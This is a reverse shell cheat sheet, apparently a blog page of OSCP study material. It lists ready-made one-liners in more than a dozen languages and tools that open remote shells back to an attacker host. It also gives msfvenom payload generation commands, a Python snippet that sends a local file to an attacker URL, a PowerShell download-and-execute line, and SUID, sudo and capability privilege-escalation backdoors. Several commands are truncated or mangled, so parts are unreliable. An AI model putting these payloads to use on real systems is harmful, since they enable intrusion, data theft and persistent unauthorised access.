Reverse Shell Cheat Sheet

OSCP Study materialAll BlogLinux privilege escalation

This is a detailed cheat sheet of How to take the reverse shell via various methods. Here is the list of methods:-

  • Bash TCP
  • Python
  • Php
  • Telnet
  • Perl
  • Ruby
  • Golang
  • Netcat
  • Ncat
  • Openssl
  • awk
  • Powershell
  • java
  • war
  • Lua
  • msfvenom
  • Nodejs
  • Groovy

Bash TCP

bash -i >& /dev/tcp/ 0>&1

0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196 
exec 5<>/dev/tcp/ATTACKING-IP/80 cat <&5 | while read line; do $line 2>&5 >&5; done   

# or: while read line 0<&5; do $line 2>&5 >&5; done


Bash UDP

sh -i >& /dev/udp/ 0>&1

nc -u -lvp 4242


user@attack$ socat file:`tty`,raw,echo=0 TCP-L:4242
user@victim$ /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:

Static socat binary can be found at

Telnet Reverse Shell

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443

PHP Reverse Shell

A useful PHP reverse shell:

php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
(Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)


perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Using Python to get the reverse shell


It can be used to break out from restricted environments by spawning an interactive system shell.

python -c 'import os; os.system("/bin/sh")'

Reverse shell

It can send back a reverse shell to a listening attacker to open remote network access.Run

socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker, box to receive the shell.

export RPORT=12345
python -c 'import sys,socket,os,pty;s=socket.socket()
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]

File upload

It can exfiltrate files on the network. Send local file via “d” parameter of an HTTP POST request. Run an HTTP service on the attacker box to collect the file

export URL= export LFILE=file_to_send python -c 'import sys; from os import environ as e if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u else: import urllib as u, urllib2 as r r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))'

Serve files in the local folder running an HTTP server.

export LPORT=8888 python -c 'import sys; from os import environ as e if sys.version_info.major == 3: import http.server as s, socketserver as ss else: import SimpleHTTPServer as s, SocketServer as ss ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()'

File download

It can download remote files. Fetch a remote file via HTTP GET request.

export URL= export LFILE=file_to_save python -c 'import sys; from os import environ as e if sys.version_info.major == 3: import urllib.request as r else: import urllib as r r.urlretrieve(e["URL"], e["LFILE"])'

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

  • python -c 'open("file_to_write","w+").write("DATA")'

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

  • python -c 'print(open("file_to_read").read())'

Library load

It loads shared libraries that may be used to run code in the binary execution context.

  • python -c 'from ctypes import cdll; cdll.LoadLibrary("")'


It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p the argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

  • sudo sh -c 'cp $(which python) .; chmod +s ./python' ./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'


It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

  • sudo python -c 'import os; os.system("/bin/sh")'


It can manipulate its process UID and can be used on Linux as a backdoor to maintain elevated privileges with the CAP_SETUID capability set. This also works when executed by another binary with the capability set.

  • cp $(which python) . sudo setcap cap_setuid+ep python ./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

Linux only


export RHOST="";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'


python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' 
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Windows only

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'], __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"


php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;"[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print}end'

NOTE: Windows only
ruby -rsocket -e '"[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print}end'


echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Netcat Traditional

nc -e /bin/sh [IPADDR] [PORT]
nc.traditional -e /bin/bash 4444

Netcat OpenBSD

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f

/usr/local/bin/nc ip port -e '/bin/bash' or  "/bin/bash" or without quotes


ncat 4444 -e /bin/bash
ncat --udp 4444 -e /bin/bash


hacker@kali$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

hacker@kali$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
hacker@kali$ ncat --ssl -vv -l -p 4242

user@company$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect > /tmp/s; rm /tmp/s


powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell IEX (New-Object Net.WebClient).DownloadString('') powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<LISTENERIP>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
$client = New-Object System.Net.Sockets.TCPClient("",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()


awk 'BEGIN {s = "/inet/tcp/0/>/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])


msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=4242 -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file


Linux only

lua -e "require('socket');require('os');t=socket.tcp();t:connect('','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Windows and Linux

lua5.1 -e 'local host, port = "", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'


    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "", function(){
    return /a/; // Prevents the Node.js application form crashing


require('child_process').exec('nc -e /bin/sh 4242')


-var x = global.process.mainModule.require
-x('child_process').exec('nc 4242 -e /bin/bash')



by frohoff NOTE: Java reverse shell also work for Groovy

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Meterpreter Shell

Windows Staged reverse TCP

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4242 -f exe > reverse.exe

Windows Stageless reverse TCP

$ msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4242 -f exe > reverse.exe

Linux Staged reverse TCP

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=4242 -f elf >reverse.elf

Linux Stageless reverse TCP

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=4242 -f elf >reverse.elf

Other platforms

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="" LPORT=4242 -f elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="" LPORT=4242 -f exe > shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="" LPORT=4242 -f macho > shell.macho
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="" LPORT=4242 -f asp > shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="" LPORT=4242 -f raw >
$ msfvenom -p cmd/unix/reverse_bash LHOST="" LPORT=4242 -f raw >
$ msfvenom -p cmd/unix/reverse_perl LHOST="" LPORT=4242 -f raw >
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

Spawn TTY Shell

In order to catch a shell, you need to listen on the desired port. rlwrap will enhance the shell, allowing you to clear the screen with [CTRL] + [L].

rlwrap nc localhost 80

Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.

⚠️ OhMyZSH might break this trick, a simple sh is recommended

The main problem here is that zsh doesn’t handle the stty command the same way bash or sh does. […] stty raw -echo; fg[…] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect

echo $TERM && tput lines && tput cols

# for bash
stty raw -echo

# for zsh
stty raw -echo; fg

export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>

or use socat binary to get a fully tty reverse shell

socat file:`tty`,raw,echo=0 tcp-listen:12345

Spawn a TTY shell from an interpreter

/bin/sh -i
python -c 'import pty; pty.spawn("/bin/sh")'
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')

References : –


Leave a Reply

Your email address will not be published. Required fields are marked *